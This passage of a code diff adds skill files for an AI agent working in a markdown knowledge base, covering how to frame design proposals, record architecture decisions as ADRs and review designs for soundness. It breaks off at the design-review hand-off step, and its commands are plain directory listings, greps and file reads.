+The platform `open-knowledge` skill still governs every markdown operation here (reads via `exec`/`search`, writes via `write`/`edit`, links as plain relative markdown, never native Read/Edit/Grep/`cat` on in-scope files). This skill layers proposal-authoring craft on top: it decides *what a good proposal contains and in what order you earn each section*.
+
+A proposal in `proposals/` is a design argument, not a decision and not a plan. It exists to force a **choice** among options and to give reviewers enough to disagree with. Filename is `0001-feature-name.md` — a zero-padded 4-digit sequence plus a kebab title. Status flows `draft → fcp → accepted/rejected` (fcp = final comment period). Acceptance graduates the proposal to a record in `decisions/` — that is a *separate*, human act and a *separate* skill.
+
+The failure this skill exists to prevent: an agent jumping to `## Design` before anyone agrees what the problem is, padding `## Alternatives` with strawmen, and leaving `## Drawbacks` empty. Each step below has a gate that blocks that.
+
+---
+
+## Mandatory execution order
+
+**Hard gates — do NOT skip ahead.** If you are about to draft `## Design` and you have not passed the Step 1 framing gate, STOP — you skipped a gate. The whole point of a proposal is that the problem is agreed before the solution is written.
+
+0. **Scan prior art** — what already exists on this subsystem, in `proposals/` and `decisions/`.
+1. **Frame the problem — STOP gate.** Name beneficiary, observable change, forced decision. Get confirmation before any solution text.
+2. **Allocate the sequence number and create from the `proposal` template.**
+3. **Motivation** — problem, evidence, who is hurt today, cost of doing nothing, and explicit non-goals.
+4. **Design** — the proposal at an altitude a reader can disagree with.
+5. **Alternatives** — at least two real ones, each with why-not.
+6. **Drawbacks** — the honest cost.
+7. **Unresolved questions** — a live backlog, each with a resolver and resolving evidence.
+8. **Link + validate.**
+9. **Recap + what advancing to `fcp` would require.**
+
+Create workflow tasks for steps 0–9 in your host's task system if it has one — they make a skipped gate visible mid-session.
+
+---
+
+## Step 0: Scan prior art
+
+Before framing anything, find out what the knowledge base already decided or proposed about this subsystem. A proposal that silently re-litigates an accepted decision is dead on arrival; a proposal that cites it and explains why the decision should be revisited is legitimate.
+
+- `search({ query: "<subsystem or problem keywords>" })` — semantic, catches synonyms.
+- `exec("ls -A proposals/")` and `exec("ls -A decisions/")` — see the sequence space and what has landed.
+- `exec("grep -rln <keyword> proposals/ decisions/")` — pinpoint files that name the same subsystem.
+- For the 1–3 most relevant hits, `exec("cat proposals/0003-x.md")` to read the full doc plus its backlinks.
+
+Classify what you find, and carry it into the draft:
+
+| Found | Do this |
+|---|---|
+| An **accepted decision** covers this area | The new proposal MUST cite it (a markdown link into `decisions/`) and, in Motivation, say what changed that reopens it. If nothing changed, tell the user this may not need a proposal at all. |
+| A **draft/fcp proposal** overlaps | Offer to extend or supersede it rather than open a near-duplicate. Two overlapping proposals split the review. |
+| **Nothing** | Proceed clean. |
+
+---
+
+## Step 1: Frame the problem — STOP gate
+
+This is the gate that makes the difference between an RFC and a pile of solution text. **Do NOT draft `## Design`, and do NOT create the file, until the user confirms the framing.**
+
+Produce and return exactly this, then STOP and wait:
+
+```
+## Framing (confirm before I draft)
+
+**Beneficiary:** who is worse off today and will be better off if this ships. A named role or user, not "the system" or "us".
+
+**Observable change:** the concrete, checkable difference they will see. "X drops from N to M", "Y becomes possible", "Z stops happening". Not "improve", not "streamline".
+
+**Forced decision:** the one question this proposal makes reviewers answer. If accepting it doesn't commit anyone to anything, it is a report, not a proposal.
+
+**Rough shape:** one sentence on the direction — enough to know we're framing the right problem, not the design itself.
+```
+
+Discipline:
+
+- If you cannot name a beneficiary distinct from "the team," the problem isn't framed. Push back before drafting.
+- "Observable change" is falsifiable or it isn't done. If you can't state how you'd check it, you're describing an activity, not an outcome.
+- Vague trigger ("we should have a proposal for the cache")? Narrow it: for whom, forced by what decision, changing what they observe.
+- In an explicitly headless/non-interactive run, state the framing AND proceed, but write the three fields verbatim into Motivation so a reviewer can reject the framing itself.
+
+---
+
+## Step 2: Allocate the number and create from template
+
+**List, don't guess, the sequence.** `exec("ls -A proposals/")`, take the highest existing `NNNN`, add one, zero-pad to four digits. Guessing collides the moment two proposals are drafted the same week.
+
+Filename: `NNNN-kebab-title.md` (`0007-async-export-pipeline.md`). Create it from the template — this is the only way the `## Motivation → ## Design → ## Drawbacks → ## Alternatives → ## Unresolved questions` skeleton and the frontmatter arrive correctly:
+
+```
+write({ document: { path: "proposals/0007-async-export-pipeline.md", template: "proposal" } })
+```
+
+The template stamps this frontmatter — fill it, don't retype it by hand:
+
+```yaml
+type: proposal
+description: "..." # one line: the forced decision, not the feature name
+status: draft # stays draft until a human advances it — see Non-goals
+authors: [<user>]
+created: YYYY-MM-DD
+tags: [proposal]
+```
+
+Set `description` to the decision the proposal forces, in one line — it is what a reader sees in a listing.
+
+---
+
+## Step 3: Motivation
+
+Fill `## Motivation` by `edit`-ing the created doc. This section has to stand on its own: a reader who disagrees here will never read your Design, and that's correct.
+
+- **The problem**, stated as the beneficiary experiences it — not as the absence of your solution. "Exports over 100MB time out and users lose the job" beats "we have no async export pipeline."
+- **Evidence** it is real: a metric, a repeated report, a concrete incident. A proposal motivated only by "it would be nice" is under-motivated; say so to the user and go find one signal.
+- **Who is hurt today**, named (the Step 1 beneficiary), and how often.
+- **Cost of doing nothing** — the status-quo baseline every alternative, including "reject this," is measured against. If doing nothing is genuinely fine, the proposal may not need to exist.
+- **Non-goals — explicitly.** List what this proposal deliberately does *not* address. Non-goals are how you keep a proposal reviewable; an unbounded proposal can't be accepted because no one can tell what they're agreeing to. Put them under a clear `### Non-goals` line inside Motivation.
+
+---
+
+## Step 4: Design
+
+Fill `## Design` with the actual proposal, pitched **at the altitude where a reader could disagree with it**. Too low (every function signature) and reviewers rubber-stamp a design they didn't evaluate; too high ("we'll make it faster") and there's nothing to accept. The target: a competent reader could read this section and say "no, I'd do it differently, because…"
+
+- Describe the mechanism, the shape of the change, and the key interfaces or contracts it introduces or alters.
+- Make the load-bearing choices explicit. If the design rests on one decision (a data model, a boundary, a sequencing), name it — that decision is usually what the whole proposal is really about.
+- State how the Step 1 observable change is achieved. Tie the design back to the beneficiary.
+- Link related specs, guides, and the decisions you're building on or revisiting, as plain relative markdown: `[the export boundary decision](./decisions/0004-export-boundary.md)`.
+- Keep implementation minutiae out — that granularity is the spec's job (a sibling skill), not the proposal's.
+
+---
+
+## Step 5: Alternatives
+
+Fill `## Alternatives` with **at least two real options**, each carrying **why it was not chosen**. Include the honest ones you'd have picked on a different day, plus "do nothing" if it's live.
+
+Structure each:
+
+```
+### Alternative: <name>
+What it is — one honest paragraph, argued at its best.
+Why not — the specific tradeoff that lost, versus the proposed design.
+```
+
+Discipline:
+
+- **Strawmen are a red flag — say so.** An Alternatives section where every option is obviously worse means the author didn't consider real ones, and reviewers will (correctly) distrust the whole proposal. If you can't state an alternative's genuine appeal, you haven't understood it well enough to reject it.
+- "Do nothing" is a first-class alternative. Its "why not" is the Step 3 cost-of-doing-nothing.
+- The right number is usually two to four. One means you're not proposing, you're announcing.
+
+---
+
+## Step 6: Drawbacks
+
+Fill `## Drawbacks` with the honest cost of the proposed design — not the alternatives', its own.
+
+- **A proposal with no drawbacks is under-examined, not perfect.** Every real design gives something up: complexity, a migration, a new failure mode, a maintenance burden, a closed door. Name them.
+- Be specific about who pays and when — the cost may land on a different party than the beneficiary, and reviewers need to see that tradeoff.
+- If you genuinely believe a drawback is acceptable, say why here rather than hiding it. A stated-and-accepted drawback is stronger than a silent one a reviewer discovers.
+
+---
+
+## Step 7: Unresolved questions
+
+Fill `## Unresolved questions` as a **live backlog**, not a disclaimer. Each entry keeps a real open question visible instead of burying it in confident prose.
+
+For each question:
+
+```
+- **<question>** — What would resolve it: <the evidence, experiment, or measurement>. Who decides: <role or person>.
+```
+
+- Every question names **what evidence would resolve it** and **who decides**. A question with neither is just an anxiety; either sharpen it or drop it.
+- Questions that block acceptance belong here explicitly — they are the agenda for the `fcp` period.
+- It is correct for this section to be non-empty at `draft`. Hiding uncertainty to look finished is the failure mode; an honest open-questions list is what makes the proposal safe to review.
+
+---
+
+## Step 8: Link + validate
+
+Run before you tell the user it's ready:
+
+- Every referenced decision, spec, or guide is a plain markdown relative link (`[text](./decisions/0004-x.md)`), never backticked, never an HTML anchor.
+- Add backlinks from 1–2 closely related docs so the proposal is discoverable — the accepted decision it revisits, a related spec, the relevant guide. `links({ kind: "backlinks", ... })` to see what already points where.
+- `links({ kind: "dead", sourceDocNames: ["proposals/0007-async-export-pipeline"] })` returns clean — fix or remove every dead link.
+- Frontmatter complete: `type: proposal`, a one-line `description`, `status: draft`, `authors`, `created`, `tags: [proposal]`.
+- All five H2 sections present and non-empty: `## Motivation`, `## Design`, `## Drawbacks`, `## Alternatives`, `## Unresolved questions`. An empty Drawbacks or a strawman Alternatives fails this check even though the section technically exists.
+- `status` is still `draft`. You do not advance it — see Non-goals.
+
+---
+
+## Step 9: Recap + path to fcp
+
+Close with the user in conversation:
+
+```
+## Recap
+
+- Framed: <beneficiary> gets <observable change>; forces the decision <…>.
+- Proposal: proposals/NNNN-title.md (status: draft)
+- Alternatives weighed: <n>, chosen over them because <one line>.
+- Honest drawbacks: <the main one>.
+- Open questions still live: <count> — the fcp agenda.
+
+**To advance to `fcp`:** a human moves status draft → fcp and opens the final comment
+period. Acceptance (→ accepted, then a record in decisions/) is a human decision, not
+mine. If it's rejected, mark status: rejected and keep the doc — the reasoning is the value.
+```
+
+State plainly that advancing status and accepting the proposal are human acts. Your job ended at a well-framed, honestly-argued `draft`.
+
+---
+
+## Non-goals
+
+- **Don't record the decision.** Acceptance graduates a proposal to a record in `decisions/` — that's the sibling `record-a-decision` skill, run *after* a human accepts. This skill stops at `draft`.
+- **Don't write the implementation spec.** Design altitude, not build detail. The spec is `write-a-spec`.
+- **Don't mark a proposal `accepted` (or `fcp`) on your own authority.** Advancing status is a human act. Leave `status: draft`; offer the recap of what advancing would require.
+- **Don't skip the Step 1 framing gate.** Solution text before an agreed problem is the exact failure this skill exists to prevent. If you've drafted Design without a confirmed beneficiary and forced decision, you skipped the gate — back up.
+- **Don't pad Alternatives with strawmen or leave Drawbacks empty.** Both are tells that the proposal wasn't really examined. Reviewers read them as such.
diff --git a/packages/server/assets/skills/packs/software-lifecycle/record-a-decision/SKILL.md b/packages/server/assets/skills/packs/software-lifecycle/record-a-decision/SKILL.md
new file mode 100644
index 000000000..4d8eec15b
--- /dev/null
+++ b/packages/server/assets/skills/packs/software-lifecycle/record-a-decision/SKILL.md
@@ -0,0 +1,188 @@
+---
+name: open-knowledge-pack-software-lifecycle-record-a-decision
+description: "Records an architecture decision as a Nygard/MADR-shaped ADR under decisions/ — capturing the context that forced the choice, the options weighed, the decision itself, and its consequences in both directions, plus the supersedes chain that keeps a decision log honest. Read when asked to record an architecture decision, write an ADR, log the decision we made, document why we chose X over Y, capture this decision for the record, or supersede an old decision with a new one. Do NOT read to frame a proposal or explore an idea not yet decided (frame-a-proposal), to write a spec or implementation plan (write-a-spec), to write an incident postmortem (write-a-postmortem), or to judge whether a design is sound (review-a-design). This skill records a decision already made; it does not make one."
+compatibility: "Claude Code, Claude Desktop, Claude Cowork, Claude.ai web. Requires OpenKnowledge MCP server. Installed project-local by `ok seed --pack software-lifecycle`."
+metadata:
+ pack: "software-lifecycle"
+ author: "Inkeep"
+ repository: "https://github.com/inkeep/open-knowledge"
+---
+
+# Record a decision — write an ADR under `decisions/`
+
+The platform `open-knowledge` skill still governs every markdown operation here (grounding, linking, the rule that OK's MCP tools own in-scope markdown); this skill layers ADR craft on top.
+
+An Architecture Decision Record is a small, dated, frozen document that captures **one** decision, the forces that made it necessary, and what the team now has to live with. The value compounds over years: a reader who joins in three years should understand not just what was decided but *why it was even a question*. ADRs are frozen once accepted — you never rewrite one to change your mind, you **supersede** it with a new record and leave the old one standing as history. That supersedes chain is what separates an honest decision log from a pile of stale opinions.
+
+Filenames are `NNNN-title.md` (zero-padded 4-digit sequence + kebab title). Status vocabulary: `proposed` / `accepted` / `deprecated` / `superseded`. Template id `decision`, body sections exactly `## Context`, `## Decision`, `## Consequences` in that order.
+
+---
+
+## Step 0 — Confirm a decision was actually MADE (HARD GATE)
+
+**An ADR records a decision; it does not make one.** Before anything else, establish that a choice has been settled.
+
+- If the user is still weighing options, comparing approaches, or asking "should we do X or Y?" — they do not have a decision yet. **Stop and route them to the `frame-a-proposal` skill.** A proposal is where options get explored and argued; an ADR is where the settled outcome gets recorded. Recording a decision the user has not made produces a fake record that misleads every future reader.
+- If the user says "we decided X" but you cannot tell *what lost* or *why*, ask one question: "What were the alternatives, and what made you pick this one?" An ADR with no rejected options is a press release, not a record.
+- If the thing in question is whether the design itself is sound — not the record of it — hand off to `review-a-design`. This skill assumes the decision is sound; it captures it.
+
+Do not proceed past this gate until the user has confirmed a specific decision. State it back to them in one sentence and get a nod.
+
+---
+
+## Step 1 — Scan for prior art (surface supersedes candidates BEFORE writing)
+
+A new ADR that silently contradicts an accepted one is how a decision log rots. Before allocating a number, find what already exists.
+
+1. `search({ query: "<subsystem or topic of the decision>" })` — semantic sweep for related decisions, proposals, and specs.
+2. `exec("ls -A decisions/")` — see the existing sequence and titles.
+3. `exec("grep -rln <subsystem-keyword> decisions/")` — find records touching the same subsystem, interface, or constraint.
+4. For each promising hit, `exec("cat decisions/NNNN-x.md")` — read its Decision and Status.
+
+Then classify and surface to the user **before writing**:
+
+- **Contradicts an accepted record** → this new decision reverses or replaces it. Flag the path as a `supersedes:` candidate: "This looks like it supersedes [0007-use-rest-api](./decisions/0007-use-rest-api.md), which is currently `accepted`. Confirm and I'll wire the chain in Step 7." Do not silently write a contradicting record.
+- **Extends without contradicting** → note the related record; you'll link it, not supersede it.
+- **Genuinely new** → proceed.
+
+If the decision graduated from an accepted proposal in `proposals/`, locate that proposal now (`exec("grep -rln <topic> proposals/")`) — you'll link it as the parent in Step 4.
+
+---
+
+## Step 2 — Allocate the next number and create from the template
+
+**Never guess the sequence number.** List the folder and take the next integer.
+
+1. `exec("ls -A decisions/")` — read the highest existing `NNNN`.
+2. Next number = highest + 1, zero-padded to 4 digits. First-ever decision is `0001`.
+3. Pick a short kebab title naming the decision, not the topic: `0012-adopt-event-sourcing-for-orders`, not `0012-orders`.
+4. Create it from the template:
+
+```
+write({ document: { path: "decisions/0012-adopt-event-sourcing-for-orders.md", template: "decision" } })
+```
+
+The template lays down the frontmatter scaffold and the three H2 sections. Fill the frontmatter now:
+
+```yaml
+type: decision
+description: "One line: the decision, active voice."
+status: proposed # proposed until the deciders accept; then accepted
+date: YYYY-MM-DD # today
+deciders: [<user>] # who owns this decision
+supersedes: [] # fill in Step 7 if this replaces an earlier record
+tags: [decision]
+```
+
+Leave `status: proposed` while drafting. It becomes `accepted` only when the deciders sign off (Step 8) — an ADR that ships `accepted` before anyone agreed is backdating.
+
+---
+
+## Step 3 — Context: the forces at play (invest here)
+
+`## Context` is the section that ages best. Write it so a reader three years from now understands why this was even a question — no access to the meeting, the thread, or your memory. Cover:
+
+- **The state of the system** when the decision was forced — what exists, what's under strain.
+- **What changed** to make a choice necessary now rather than never. A new requirement, a scaling limit hit, a deprecated dependency, a deadline.
+- **The constraints** that bounded the options — team size, existing tech, latency budgets, compliance, a hard date.
+- **The forces in tension** — the reason this is a *decision* and not an obvious call. If there were no competing pressures, there'd be nothing to record.
+
+Write it neutrally and factually. Do not argue for the decision here — that's Step 4's job. Context describes the problem so completely that the Decision reads as one reasonable response to it. If a reader finishes Context and still can't see why a choice was needed, the section has failed; rewrite it.
+
+Ground every factual claim about the system in something checkable — link the proposal, a spec, or a prior decision rather than asserting from memory.
+
+---
+
+## Step 4 — Decision: active voice, one paragraph, unambiguous
+
+`## Decision` states what will be done, in the active voice, present or future tense: **"We will ..."** One clear paragraph. A reader must finish it knowing exactly what was chosen with zero ambiguity.
+
+Then, briefly:
+
+- **Name the options that were weighed and why the others lost.** Two or three sentences per rejected option is enough — "We considered X but it couldn't meet the latency budget; Y was simpler but locked us to a single vendor." This is the heart of the record; a decision with no visible alternatives is unverifiable.
+- **Link the parent proposal** if the decision graduated from one: "This decision accepts [0004-orders-rearchitecture-proposal](./proposals/0004-orders-rearchitecture-proposal.md)." Plain markdown relative link, never backticked, never an HTML anchor.
+
+Do not fold implementation detail into the Decision — *how* it gets built belongs in a spec, not the ADR. The Decision says what and why, not the migration steps.
+
+---
+
+## Step 5 — Consequences: both directions, honestly
+
+`## Consequences` records what the team now lives with — **good AND bad**. A Consequences section with only upside is a marketing document, not an ADR. Cover, in whatever grouping fits:
+
+- **What gets easier** — the wins that motivated the choice.
+- **What gets harder** — the costs, the new complexity, the thing that's now more awkward.
+- **What new obligation the team carries** — ongoing maintenance, a new skill to hire for, a dependency to track, an invariant someone must now uphold.
+- **What this forecloses** — options you can no longer take cheaply, doors this closes.
+- **Neutral consequences** — facts that are neither win nor loss but that a future reader needs.
+
+Force yourself to write at least one genuine negative and one new obligation. If you can't find any, you haven't thought hard enough — every real decision costs something. The negatives are the most valuable part of the record; they're what a future team checks when the decision starts to hurt.
+
+---
+
+## Step 6 — Soundness self-check (adversarial pass before committing)
+
+Read the draft as a skeptic who disagrees with the decision. Answer each honestly and fix what fails:
+
+- **One-way door or reversible?** Is the reversibility of this decision stated? A one-way door (hard or expensive to undo) must say so explicitly in Consequences — that's the single most important thing a future reader needs to know before they inherit it.
+- **Does Context actually motivate the Decision?** Or does the Decision arrive from nowhere, with forces in Context that don't point at it? If the two sections don't connect, one of them is wrong.
+- **Would a reader who disagrees find their objection addressed?** The strongest counter-argument should appear somewhere — in a rejected option or a named consequence. If the obvious objection is missing, add it.
+- **Is any consequence being hidden because it's inconvenient?** The cost you'd rather not write down is exactly the one that belongs in the record.
+
+If this pass reveals that the *design itself* is in question — not the quality of the record but whether the decision is right — stop and hand off to `review-a-design`. This skill records sound decisions; it is not the place to relitigate one.
+
+---
+
+## Step 7 — Supersedes chain (both directions or it's broken)
+
+If this record replaces an earlier one, the chain must be wired in **both** directions or the log lies from one side.
+
+1. **Forward, on the new record:** add the old path to `supersedes:` frontmatter.
+
+```
+edit({ document: { path: "decisions/0012-adopt-event-sourcing-for-orders.md",
+ frontmatter: { supersedes: ["decisions/0007-use-rest-api.md"] } } })
+```
+
+2. **Backward, on the old record:** flip its status and add a forward link so a reader landing on the old decision is sent to the new one.
+
+```
+edit({ document: { path: "decisions/0007-use-rest-api.md",
+ frontmatter: { status: "superseded" } } })
+```
+
+Then add a line near the top of the old record's Context (or a short `> Superseded by ...` note): `Superseded by [0012-adopt-event-sourcing-for-orders](./decisions/0012-adopt-event-sourcing-for-orders.md).`
+
+**Never edit the old record's Context, Decision, or Consequences prose.** ADRs are frozen — the old decision was true when it was made and stays on the record as history. You add the status flip and the forward pointer; you do not rewrite what it said. Both edits land, or the chain is broken in one direction and the log becomes untrustworthy.
+
+---
+
+## Step 8 — Link and validate
+
+- **Backlinks in:** ensure the parent proposal links forward to this decision, and any spec that *implements* this decision links back to it. `links({ kind: "backlinks", docName: "decisions/0012-adopt-event-sourcing-for-orders" })` to see who points here; add the missing ones so the record is discoverable.
+- **Dead links out:** `links({ kind: "dead", sourceDocNames: ["decisions/0012-adopt-event-sourcing-for-orders"] })` returns clean — zero dead links. Fix or remove every one; a broken link to a superseded record defeats the whole chain.
+- **Frontmatter complete:** `type`, `description`, `status`, `date`, `deciders`, `supersedes`, `tags` all present and correct.
+- **Status reflects reality:** if the deciders have accepted, flip `status: proposed` → `accepted`. If they haven't, leave it `proposed` and tell the user it's awaiting sign-off. Do not mark a decision `accepted` on the user's behalf.
+- **Body shape:** exactly `## Context`, `## Decision`, `## Consequences`, in order. No extra top-level sections — depth that doesn't fit these three belongs in a linked spec.
+
+---
+
+## Step 9 — Recap to the user
+
+Close in conversation, three things:
+
+1. **The decision in one sentence** — the "We will ..." line.
+2. **Its biggest consequence** — the one cost or obligation the team most needs to remember, especially if it's a one-way door.
+3. **Any record it superseded** — name the old ADR and confirm the chain is wired both ways.
+
+Then note whether `status` is `accepted` (deciders signed off) or `proposed` (awaiting sign-off), so the user knows what, if anything, is still open.
+
+---
+
+## Non-goals
+
+- **Don't decide on the user's behalf.** If no decision has been made, route to `frame-a-proposal`. This skill records; it does not choose.
+- **Don't rewrite an accepted record.** ADRs are frozen. To change a past decision, supersede it (Step 7) and leave the old one standing — never edit its Context/Decision/Consequences prose.
+- **Don't fold implementation detail into an ADR.** The migration plan, the API shape, the rollout steps belong in a spec (`write-a-spec`). The ADR captures what and why, not how.
+- **Don't record a decision that has no consequences section.** A record with only upside, or with no costs and no new obligations, isn't an ADR — it's marketing. Every real decision costs something; find it and write it down.
+- **Don't judge the soundness of the design here.** If the question is whether the decision is *right* rather than whether it's well-recorded, that's `review-a-design`.
diff --git a/packages/server/assets/skills/packs/software-lifecycle/review-a-design/SKILL.md b/packages/server/assets/skills/packs/software-lifecycle/review-a-design/SKILL.md
new file mode 100644
index 000000000..60cbce18b
--- /dev/null
+++ b/packages/server/assets/skills/packs/software-lifecycle/review-a-design/SKILL.md
@@ -0,0 +1,137 @@
+---
+name: open-knowledge-pack-software-lifecycle-review-a-design
+description: "Reviews whether a design is SOUND — solving the right problem, derived from its stated goals and constraints — and emits ranked, evidence-backed findings, not edits. Read when asked to 'review this design', 'is this design sound', 'pressure-test this proposal', 'do a design review', 'does this solve the right problem', 'poke holes in this spec', 'should we build this', or to critique a proposal / spec / ADR / architecture or product decision. Do NOT read when the user wants to AUTHOR one of these — routing a new proposal is frame-a-proposal, a spec is write-a-spec, a decision record is record-a-decision, a postmortem is write-a-postmortem. Do NOT read for code review of a diff, or to fact-check individual claims (that is a correctness pass, a different job)."
+compatibility: "Claude Code, Claude Desktop, Claude Cowork, Claude.ai web. Requires OpenKnowledge MCP server. Installed project-local by `ok seed --pack software-lifecycle`."
+metadata:
+ pack: "software-lifecycle"
+ author: "Inkeep"
+ repository: "https://github.com/inkeep/open-knowledge"
+---
+
+# Review a design — is it sound, not just complete
+
+The platform `open-knowledge` skill still governs every markdown operation here (reads via `exec`, writes via `write`/`edit`, links as plain relative markdown, MCP owns in-scope `.md`); this skill layers design-review craft on top of it.
+
+**Three reviews are not the same review, and only one is this skill's job.**
+
+- **Completeness review** asks: is every section filled in? (Are Drawbacks and Alternatives non-empty?)
+- **Correctness review** asks: are the individual claims true? (Does the benchmark really say 40ms? Is that API deprecated?)
+- **Soundness review** asks: *should this be built at all, and is this the design that follows from the stated goals and constraints?*
+
+You are doing the third. A proposal can be complete and factually correct and still be the wrong design — solving a symptom, chosen before its goals, engaging only strawman alternatives. Completeness and correctness are cheap to check and someone else's pass. Say this to the user up front if there's any ambiguity about what kind of review they want, then do soundness.
+
+You produce **findings, not edits.** The author decides what to change. Never rewrite the artifact under review unless explicitly asked.
+
+---
+
+## Step 0: Identify the artifact and read it — and what it inherits
+
+**HARD GATE: never review a design you have not read end to end, and never review it in isolation from the decisions it inherits.** A review of the first half is worse than no review — it spends the author's trust on partial understanding.
+
+1. Identify the type. It is one of:
+ - a **proposal** (`proposals/NNNN-name.md` — Motivation / Design / Drawbacks / Alternatives / Unresolved questions),
+ - a **spec** (`specs/NNN-name/spec.md` — Goals / Non-goals / Design / Migration / Test plan, with a `parent_proposal:`),
+ - a **decision** (`decisions/NNNN-title.md` — Context / Decision / Consequences, with a `supersedes:` chain), or
+ - an **in-flight choice with no document yet** (the user is deciding in conversation). This is a valid target — see Step 1.
+2. Read it whole: `exec("cat proposals/0003-feature.md")`.
+3. Read what it depends on. A design is only as sound as the ground it stands on:
+ - the **parent proposal** a spec links via `parent_proposal:`, and any proposal a decision implements;
+ - the **decisions it assumes** — `exec("grep -rln <subsystem-keyword> decisions/")`, then `cat` the relevant ones. A design that contradicts an accepted ADR without noting it is a finding by itself.
+ - the **prior postmortems in the same subsystem** — `exec("ls -A postmortems/")` and `search({ query: "<subsystem> failure" })`. A postmortem names a failure mode; a design that reintroduces it is your highest-value catch.
+ - **sibling proposals/decisions** it supersedes or overlaps — follow the `supersedes:` chain both directions.
+4. If the design references source code, read the code with the host's **native** tools (`Read`, `Grep`) — source is outside the knowledge base. In-scope markdown stays on `exec`/`search`.
+
+Do not proceed until you can name the goal, the constraints, and the prior decisions this design sits on top of.
+
+---
+
+## Step 1: Reconstruct the design's own argument — and show it back
+
+Before you critique anything, state the design's argument in your own words: **the goal it serves, the constraints it accepts, and why this design follows from them.** Show it to the user before Step 2.
+
+Why this gate exists:
+
+- If you can reconstruct it cleanly, the author gets a free confirmation that the intended reader understood it — often the most useful thing a review returns.
+- **If you cannot state the goal, the constraints, and why this design follows from them, the reviewable object does not exist yet — and that IS the finding.** Stop and report it: "I can't reconstruct why this design follows from its goals; here's where the chain breaks." Reviewing the surface of a design whose argument you can't state produces confident noise. Hand it back to the authoring skill to make the argument legible first.
+
+For an in-flight choice with no document, this step is where you force the argument into words for the first time. Frequently the act of reconstruction resolves the question without a single lens.
+
+---
+
+## Step 2: Run the soundness lenses
+
+Pass the design through each lens below. A lens is a named question plus the failure it catches — run the ones that bite for this artifact, skip the ones that plainly don't, and add any that earn their place. Do not mechanically fill all nine; a review that says the same shallow thing nine times teaches nothing.
+
+- **Problem lens** — *Is the stated problem the real problem, or a symptom of one upstream?* Whose problem is it, and what evidence says it hurts today (not hypothetically)? A design aimed at a symptom is unsound however elegant. Failure it catches: solving the wrong problem beautifully.
+- **Goal-derivation lens** — *Does the design follow from the stated goals, or were the goals reverse-engineered to justify a design chosen first?* Read the goals, then read the design cold: could you have predicted this design from these goals? If the design has a feature no goal demands, either the goal is unstated or the feature is scope. Failure it catches: solution-first rationalization.
+- **Alternatives lens** — *Are the alternatives real, or strawmen?* Take the strongest version of the rejected option — steelman it — and check whether the document engages with *that*, or with a weak caricature. An Alternatives section that dismisses each option in one dismissive sentence is a tell. Failure it catches: a foregone conclusion dressed as a comparison.
+- **Constraint lens** — *Which constraints are hard, and which are inherited habit?* Hard: physics, compliance, a one-way door already walked through, a contract with a downstream team. Soft: "we've always done it this way", a limit of the current tool, a deadline that could move. A design that treats a soft constraint as hard is under-imagined and probably larger than it needs to be. Failure it catches: unnecessary complexity justified by a fake wall.
+- **Cost lens** — *What does this design foreclose, and what does it hand the team every week for the next three years?* Name the ongoing obligation: the migration that can't be undone, the schema that now needs backfilling forever, the on-call surface. Blast radius is not just the launch; it's the maintenance tail. Failure it catches: a cheap-looking design with an expensive tail.
+- **Reversibility lens** — *One-way door or two-way door?* A two-way door (easily reverted) should be walked through, not committee'd — if the design is cheap to undo, over-reviewing it wastes everyone's time and the finding is "just ship it and learn." A one-way door (data migration, public API, external contract) deserves the scrutiny the two-way door didn't. Failure it catches: mis-spent rigor — heavy process on reversible choices, light process on irreversible ones.
+- **Failure lens** — *What has to be true for this to work, and what happens at each assumption's boundary?* List the load-bearing assumptions, then push each to its edge: what at 10x load, at zero network, at a hostile input, at the second concurrent writer? **Cross-check the prior postmortems from Step 0: does this design reintroduce a named past failure?** Failure it catches: a design sound in the happy path and broken at every boundary.
+- **Simplicity lens** — *Is there a materially smaller design that satisfies the stated goals?* Name it concretely — "drop the queue and call synchronously; the goals never mention throughput" — not "simplify it," which is not a finding. YAGNI is a soundness argument, not a style note: speculative generality is unsound because it pays cost for a goal no one stated. Failure it catches: a design solving problems it doesn't have yet.
+- **Scope lens** — *Are the non-goals temporal and justified, or is load-bearing scope being smuggled out the back?* A good non-goal says "not now, because X, and here's the seam that lets us add it later." A bad non-goal quietly excludes the hard half of the actual problem so the design looks tractable. Read every non-goal and ask whether the design still solves the real problem without it. Failure it catches: a tractable design for a shrunken problem.
+
+---
+
+## Step 3: Write findings
+
+Each finding has four parts, and a finding missing the second is an opinion — drop it:
+
+1. **Claim** — one sentence. What is unsound.
+2. **Evidence** — quote the passage or link it: `the Design section says "[quoted text]"` or `[the Migration plan](./specs/012-sync/spec.md)` assumes X. **A finding with no evidence pointer is an opinion; delete it.** This is the single discipline that separates a review the author acts on from one they resent.
+3. **Severity** — one of:
+ - **blocking** — the design should not proceed as written; a load-bearing assumption is wrong, or it reintroduces a known failure, or it solves the wrong problem.
+ - **substantive** — the design can proceed, but this materially weakens it and deserves an answer before acceptance.
+ - **minor** — worth noting, safe to defer or wave off.
+4. **Resolution** — a concrete alternative *or* the question that would settle it. "This is worse" is not actionable; "consider a two-way-door version that does X, which drops the migration" or "what happens when two agents write the same doc — does the design address that?" is.
+
+**Rank by severity, not by reading order.** Lead with the blocking findings; the author reads the top of your review and stops when they've got the gist. Burying the one blocking finding under six minor ones wastes it.
+
+---
+
+## Step 4: Calibrate — adversarially re-read your own findings
+
+Before you deliver, turn the lenses on yourself. **Reviews that flag everything teach the author to ignore reviews** — the moment your review has one indefensible finding, the author discounts all of them.
+
+- Re-read each finding as the author would and try to kill it. If you can't defend the evidence, cut it.
+- State **confidence per finding** and **what would change your mind**: "blocking, high confidence — unless the load numbers in the parent proposal are wrong, in which case this drops to minor." A finding you can't attach a falsifier to is probably a preference, not a finding.
+- Collapse duplicates. Three findings that are the same root cause are one finding with three symptoms.
+- If after calibration you have zero blocking and zero substantive findings, say so plainly — "this is sound; here are two minor notes" is a complete and valuable review. Do not manufacture severity to look thorough.
+
+---
+
+## Step 5: Deliver
+
+**In conversation by default.** Most reviews are a message: the reconstructed argument (Step 1), the ranked findings (Step 3), the calibration notes (Step 4).
+
+**Persist as a document ONLY when** the user asks, or the review is substantial enough to be cited later (a blocking review of a proposal heading to accept/reject). Then:
+
+- Write it beside the artifact it reviews: `write({ document: { path: "proposals/0003-feature-review.md" } })`.
+- Link it **from** the artifact's Unresolved questions (proposal) or Open questions (spec) section via `edit` — a plain markdown link `[design review](./0003-feature-review.md)`, never backticked, never an HTML anchor.
+- Mark it **advisory** in its own frontmatter/opening line: this is input to the author, not a verdict. The author owns the artifact and decides what lands.
+
+Never edit the design under review to "apply" a finding. You emit findings; the authoring skill applies them.
+
+---
+
+## Step 6: Hand off
+
+Route blocking and substantive findings back to whoever owns the fix:
+
